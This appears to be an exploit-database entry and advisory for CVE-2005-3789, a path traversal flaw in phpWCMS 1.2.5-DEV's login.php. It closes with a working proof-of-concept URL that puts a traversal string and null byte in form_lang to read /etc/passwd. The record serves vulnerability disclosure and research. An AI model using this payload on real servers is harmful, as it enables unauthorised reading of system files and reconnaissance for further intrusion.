PHPWCMS 1.2.5 -DEV - 'login.php?form_lang' Traversal Arbitrary File Access

Author: Stefan Lochbihler
type: webapps
platform: php
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date_added: 2005-11-15 
date_updated: 2013-07-01 
verified: 1 
codes: CVE-2005-3789;OSVDB-20862 
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source: https://www.securityfocus.com/bid/15436/info

phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer.

http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00